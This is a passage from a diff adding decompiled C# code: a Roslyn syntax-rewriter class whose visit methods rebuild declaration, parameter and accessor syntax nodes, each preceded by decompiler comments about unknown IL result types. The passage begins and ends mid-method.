+ //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_0096: Unknown result type (might be due to invalid IL or missing references) + //IL_009b: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.AttributeLists), VisitList(node.Modifiers), VisitToken(node.Keyword), VisitToken(node.Identifier), (TypeParameterListSyntax)(object)Visit((SyntaxNode?)(object)node.TypeParameterList), (ParameterListSyntax)(object)Visit((SyntaxNode?)(object)node.ParameterList), (BaseListSyntax)(object)Visit((SyntaxNode?)(object)node.BaseList), VisitList(node.ConstraintClauses), VisitToken(node.OpenBraceToken), VisitList(node.Members), VisitToken(node.CloseBraceToken), VisitToken(node.SemicolonToken)); + } + + public override SyntaxNode? VisitStructDeclaration(StructDeclarationSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_0072: Unknown result type (might be due to invalid IL or missing references) + //IL_0077: Unknown result type (might be due to invalid IL or missing references) + //IL_007e: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_0096: Unknown result type (might be due to invalid IL or missing references) + //IL_009b: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.AttributeLists), VisitList(node.Modifiers), VisitToken(node.Keyword), VisitToken(node.Identifier), (TypeParameterListSyntax)(object)Visit((SyntaxNode?)(object)node.TypeParameterList), (ParameterListSyntax)(object)Visit((SyntaxNode?)(object)node.ParameterList), (BaseListSyntax)(object)Visit((SyntaxNode?)(object)node.BaseList), VisitList(node.ConstraintClauses), VisitToken(node.OpenBraceToken), VisitList(node.Members), VisitToken(node.CloseBraceToken), VisitToken(node.SemicolonToken)); + } + + public override SyntaxNode? VisitInterfaceDeclaration(InterfaceDeclarationSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_0072: Unknown result type (might be due to invalid IL or missing references) + //IL_0077: Unknown result type (might be due to invalid IL or missing references) + //IL_007e: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_0096: Unknown result type (might be due to invalid IL or missing references) + //IL_009b: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.AttributeLists), VisitList(node.Modifiers), VisitToken(node.Keyword), VisitToken(node.Identifier), (TypeParameterListSyntax)(object)Visit((SyntaxNode?)(object)node.TypeParameterList), (ParameterListSyntax)(object)Visit((SyntaxNode?)(object)node.ParameterList), (BaseListSyntax)(object)Visit((SyntaxNode?)(object)node.BaseList), VisitList(node.ConstraintClauses), VisitToken(node.OpenBraceToken), VisitList(node.Members), VisitToken(node.CloseBraceToken), VisitToken(node.SemicolonToken)); + } + + public override SyntaxNode? VisitRecordDeclaration(RecordDeclarationSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_0072: Unknown result type (might be due to invalid IL or missing references) + //IL_0077: Unknown result type (might be due to invalid IL or missing references) + //IL_007e: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_0096: Unknown result type (might be due to invalid IL or missing references) + //IL_009b: Unknown result type (might be due to invalid IL or missing references) + //IL_00a2: Unknown result type (might be due to invalid IL or missing references) + //IL_00a7: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.AttributeLists), VisitList(node.Modifiers), VisitToken(node.Keyword), VisitToken(node.ClassOrStructKeyword), VisitToken(node.Identifier), (TypeParameterListSyntax)(object)Visit((SyntaxNode?)(object)node.TypeParameterList), (ParameterListSyntax)(object)Visit((SyntaxNode?)(object)node.ParameterList), (BaseListSyntax)(object)Visit((SyntaxNode?)(object)node.BaseList), VisitList(node.ConstraintClauses), VisitToken(node.OpenBraceToken), VisitList(node.Members), VisitToken(node.CloseBraceToken), VisitToken(node.SemicolonToken)); + } + + public override SyntaxNode? VisitEnumDeclaration(EnumDeclarationSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.AttributeLists), VisitList(node.Modifiers), VisitToken(node.EnumKeyword), VisitToken(node.Identifier), (BaseListSyntax)(object)Visit((SyntaxNode?)(object)node.BaseList), VisitToken(node.OpenBraceToken), VisitList(node.Members), VisitToken(node.CloseBraceToken), VisitToken(node.SemicolonToken)); + } + + public override SyntaxNode? VisitDelegateDeclaration(DelegateDeclarationSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + //IL_0089: Unknown result type (might be due to invalid IL or missing references) + //IL_0090: Unknown result type (might be due to invalid IL or missing references) + //IL_0095: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.AttributeLists), VisitList(node.Modifiers), VisitToken(node.DelegateKeyword), ((TypeSyntax)(object)Visit((SyntaxNode?)(object)node.ReturnType)) ?? throw new ArgumentNullException("returnType"), VisitToken(node.Identifier), (TypeParameterListSyntax)(object)Visit((SyntaxNode?)(object)node.TypeParameterList), ((ParameterListSyntax)(object)Visit((SyntaxNode?)(object)node.ParameterList)) ?? throw new ArgumentNullException("parameterList"), VisitList(node.ConstraintClauses), VisitToken(node.SemicolonToken)); + } + + public override SyntaxNode? VisitEnumMemberDeclaration(EnumMemberDeclarationSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.AttributeLists), VisitList(node.Modifiers), VisitToken(node.Identifier), (EqualsValueClauseSyntax)(object)Visit((SyntaxNode?)(object)node.EqualsValue)); + } + + public override SyntaxNode? VisitBaseList(BaseListSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.ColonToken), VisitList(node.Types)); + } + + public override SyntaxNode? VisitSimpleBaseType(SimpleBaseTypeSyntax node) + { + return (SyntaxNode?)(object)node.Update(((TypeSyntax)(object)Visit((SyntaxNode?)(object)node.Type)) ?? throw new ArgumentNullException("type")); + } + + public override SyntaxNode? VisitPrimaryConstructorBaseType(PrimaryConstructorBaseTypeSyntax node) + { + return (SyntaxNode?)(object)node.Update(((TypeSyntax)(object)Visit((SyntaxNode?)(object)node.Type)) ?? throw new ArgumentNullException("type"), ((ArgumentListSyntax)(object)Visit((SyntaxNode?)(object)node.ArgumentList)) ?? throw new ArgumentNullException("argumentList")); + } + + public override SyntaxNode? VisitTypeParameterConstraintClause(TypeParameterConstraintClauseSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.WhereKeyword), ((IdentifierNameSyntax)(object)Visit((SyntaxNode?)(object)node.Name)) ?? throw new ArgumentNullException("name"), VisitToken(node.ColonToken), VisitList(node.Constraints)); + } + + public override SyntaxNode? VisitConstructorConstraint(ConstructorConstraintSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.NewKeyword), VisitToken(node.OpenParenToken), VisitToken(node.CloseParenToken)); + } + + public override SyntaxNode? VisitClassOrStructConstraint(ClassOrStructConstraintSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.ClassOrStructKeyword), VisitToken(node.QuestionToken)); + } + + public override SyntaxNode? VisitTypeConstraint(TypeConstraintSyntax node) + { + return (SyntaxNode?)(object)node.Update(((TypeSyntax)(object)Visit((SyntaxNode?)(object)node.Type)) ?? throw new ArgumentNullException("type")); + } + + public override SyntaxNode? VisitDefaultConstraint(DefaultConstraintSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.DefaultKeyword)); + } + + public override SyntaxNode? VisitFieldDeclaration(FieldDeclarationSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.AttributeLists), VisitList(node.Modifiers), ((VariableDeclarationSyntax)(object)Visit((SyntaxNode?)(object)node.Declaration)) ?? throw new ArgumentNullException("declaration"), VisitToken(node.SemicolonToken)); + } + + public override SyntaxNode? VisitEventFieldDeclaration(EventFieldDeclarationSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.AttributeLists), VisitList(node.Modifiers), VisitToken(node.EventKeyword), ((VariableDeclarationSyntax)(object)Visit((SyntaxNode?)(object)node.Declaration)) ?? throw new ArgumentNullException("declaration"), VisitToken(node.SemicolonToken)); + } + + public override SyntaxNode? VisitExplicitInterfaceSpecifier(ExplicitInterfaceSpecifierSyntax node) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(((NameSyntax)(object)Visit((SyntaxNode?)(object)node.Name)) ?? throw new ArgumentNullException("name"), VisitToken(node.DotToken)); + } + + public override SyntaxNode? VisitMethodDeclaration(MethodDeclarationSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_0089: Unknown result type (might be due to invalid IL or missing references) + //IL_008e: Unknown result type (might be due to invalid IL or missing references) + //IL_00b7: Unknown result type (might be due to invalid IL or missing references) + //IL_00bc: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.AttributeLists), VisitList(node.Modifiers), ((TypeSyntax)(object)Visit((SyntaxNode?)(object)node.ReturnType)) ?? throw new ArgumentNullException("returnType"), (ExplicitInterfaceSpecifierSyntax)(object)Visit((SyntaxNode?)(object)node.ExplicitInterfaceSpecifier), VisitToken(node.Identifier), (TypeParameterListSyntax)(object)Visit((SyntaxNode?)(object)node.TypeParameterList), ((ParameterListSyntax)(object)Visit((SyntaxNode?)(object)node.ParameterList)) ?? throw new ArgumentNullException("parameterList"), VisitList(node.ConstraintClauses), (BlockSyntax)(object)Visit((SyntaxNode?)(object)node.Body), (ArrowExpressionClauseSyntax)(object)Visit((SyntaxNode?)(object)node.ExpressionBody), VisitToken(node.SemicolonToken)); + } + + public override SyntaxNode? VisitOperatorDeclaration(OperatorDeclarationSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + //IL_00b2: Unknown result type (might be due to invalid IL or missing references) + //IL_00b7: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.AttributeLists), VisitList(node.Modifiers), ((TypeSyntax)(object)Visit((SyntaxNode?)(object)node.ReturnType)) ?? throw new ArgumentNullException("returnType"), (ExplicitInterfaceSpecifierSyntax)(object)Visit((SyntaxNode?)(object)node.ExplicitInterfaceSpecifier), VisitToken(node.OperatorKeyword), VisitToken(node.CheckedKeyword), VisitToken(node.OperatorToken), ((ParameterListSyntax)(object)Visit((SyntaxNode?)(object)node.ParameterList)) ?? throw new ArgumentNullException("parameterList"), (BlockSyntax)(object)Visit((SyntaxNode?)(object)node.Body), (ArrowExpressionClauseSyntax)(object)Visit((SyntaxNode?)(object)node.ExpressionBody), VisitToken(node.SemicolonToken)); + } + + public override SyntaxNode? VisitConversionOperatorDeclaration(ConversionOperatorDeclarationSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_00b2: Unknown result type (might be due to invalid IL or missing references) + //IL_00b7: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.AttributeLists), VisitList(node.Modifiers), VisitToken(node.ImplicitOrExplicitKeyword), (ExplicitInterfaceSpecifierSyntax)(object)Visit((SyntaxNode?)(object)node.ExplicitInterfaceSpecifier), VisitToken(node.OperatorKeyword), VisitToken(node.CheckedKeyword), ((TypeSyntax)(object)Visit((SyntaxNode?)(object)node.Type)) ?? throw new ArgumentNullException("type"), ((ParameterListSyntax)(object)Visit((SyntaxNode?)(object)node.ParameterList)) ?? throw new ArgumentNullException("parameterList"), (BlockSyntax)(object)Visit((SyntaxNode?)(object)node.Body), (ArrowExpressionClauseSyntax)(object)Visit((SyntaxNode?)(object)node.ExpressionBody), VisitToken(node.SemicolonToken)); + } + + public override SyntaxNode? VisitConstructorDeclaration(ConstructorDeclarationSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.AttributeLists), VisitList(node.Modifiers), VisitToken(node.Identifier), ((ParameterListSyntax)(object)Visit((SyntaxNode?)(object)node.ParameterList)) ?? throw new ArgumentNullException("parameterList"), (ConstructorInitializerSyntax)(object)Visit((SyntaxNode?)(object)node.Initializer), (BlockSyntax)(object)Visit((SyntaxNode?)(object)node.Body), (ArrowExpressionClauseSyntax)(object)Visit((SyntaxNode?)(object)node.ExpressionBody), VisitToken(node.SemicolonToken)); + } + + public override SyntaxNode? VisitConstructorInitializer(ConstructorInitializerSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.ColonToken), VisitToken(node.ThisOrBaseKeyword), ((ArgumentListSyntax)(object)Visit((SyntaxNode?)(object)node.ArgumentList)) ?? throw new ArgumentNullException("argumentList")); + } + + public override SyntaxNode? VisitDestructorDeclaration(DestructorDeclarationSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.AttributeLists), VisitList(node.Modifiers), VisitToken(node.TildeToken), VisitToken(node.Identifier), ((ParameterListSyntax)(object)Visit((SyntaxNode?)(object)node.ParameterList)) ?? throw new ArgumentNullException("parameterList"), (BlockSyntax)(object)Visit((SyntaxNode?)(object)node.Body), (ArrowExpressionClauseSyntax)(object)Visit((SyntaxNode?)(object)node.ExpressionBody), VisitToken(node.SemicolonToken)); + } + + public override SyntaxNode? VisitPropertyDeclaration(PropertyDeclarationSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_008b: Unknown result type (might be due to invalid IL or missing references) + //IL_0090: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.AttributeLists), VisitList(node.Modifiers), ((TypeSyntax)(object)Visit((SyntaxNode?)(object)node.Type)) ?? throw new ArgumentNullException("type"), (ExplicitInterfaceSpecifierSyntax)(object)Visit((SyntaxNode?)(object)node.ExplicitInterfaceSpecifier), VisitToken(node.Identifier), (AccessorListSyntax)(object)Visit((SyntaxNode?)(object)node.AccessorList), (ArrowExpressionClauseSyntax)(object)Visit((SyntaxNode?)(object)node.ExpressionBody), (EqualsValueClauseSyntax)(object)Visit((SyntaxNode?)(object)node.Initializer), VisitToken(node.SemicolonToken)); + } + + public override SyntaxNode? VisitArrowExpressionClause(ArrowExpressionClauseSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.ArrowToken), ((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Expression)) ?? throw new ArgumentNullException("expression")); + } + + public override SyntaxNode? VisitEventDeclaration(EventDeclarationSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.AttributeLists), VisitList(node.Modifiers), VisitToken(node.EventKeyword), ((TypeSyntax)(object)Visit((SyntaxNode?)(object)node.Type)) ?? throw new ArgumentNullException("type"), (ExplicitInterfaceSpecifierSyntax)(object)Visit((SyntaxNode?)(object)node.ExplicitInterfaceSpecifier), VisitToken(node.Identifier), (AccessorListSyntax)(object)Visit((SyntaxNode?)(object)node.AccessorList), VisitToken(node.SemicolonToken)); + } + + public override SyntaxNode? VisitIndexerDeclaration(IndexerDeclarationSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_009a: Unknown result type (might be due to invalid IL or missing references) + //IL_009f: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.AttributeLists), VisitList(node.Modifiers), ((TypeSyntax)(object)Visit((SyntaxNode?)(object)node.Type)) ?? throw new ArgumentNullException("type"), (ExplicitInterfaceSpecifierSyntax)(object)Visit((SyntaxNode?)(object)node.ExplicitInterfaceSpecifier), VisitToken(node.ThisKeyword), ((BracketedParameterListSyntax)(object)Visit((SyntaxNode?)(object)node.ParameterList)) ?? throw new ArgumentNullException("parameterList"), (AccessorListSyntax)(object)Visit((SyntaxNode?)(object)node.AccessorList), (ArrowExpressionClauseSyntax)(object)Visit((SyntaxNode?)(object)node.ExpressionBody), VisitToken(node.SemicolonToken)); + } + + public override SyntaxNode? VisitAccessorList(AccessorListSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.OpenBraceToken), VisitList(node.Accessors), VisitToken(node.CloseBraceToken)); + } + + public override SyntaxNode? VisitAccessorDeclaration(AccessorDeclarationSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.AttributeLists), VisitList(node.Modifiers), VisitToken(node.Keyword), (BlockSyntax)(object)Visit((SyntaxNode?)(object)node.Body), (ArrowExpressionClauseSyntax)(object)Visit((SyntaxNode?)(object)node.ExpressionBody), VisitToken(node.SemicolonToken)); + } + + public override SyntaxNode? VisitParameterList(ParameterListSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.OpenParenToken), VisitList(node.Parameters), VisitToken(node.CloseParenToken)); + } + + public override SyntaxNode? VisitBracketedParameterList(BracketedParameterListSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.OpenBracketToken), VisitList(node.Parameters), VisitToken(node.CloseBracketToken)); + } + + public override SyntaxNode? VisitParameter(ParameterSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.AttributeLists), VisitList(node.Modifiers), (TypeSyntax)(object)Visit((SyntaxNode?)(object)node.Type), VisitToken(node.Identifier), (EqualsValueClauseSyntax)(object)Visit((SyntaxNode?)(object)node.Default)); + } + + public override SyntaxNode? VisitFunctionPointerParameter(FunctionPointerParameterSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.AttributeLists), VisitList(node.Modifiers), ((TypeSyntax)(object)Visit((SyntaxNode?)(object)node.Type)) ?? throw new ArgumentNullException("type")); + } + + public override SyntaxNode? VisitIncompleteMember(IncompleteMemberSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.AttributeLists), VisitList(node.Modifiers), (TypeSyntax)(object)Visit((SyntaxNode?)(object)node.Type)); + } + + public override SyntaxNode? VisitSkippedTokensTrivia(SkippedTokensTriviaSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return 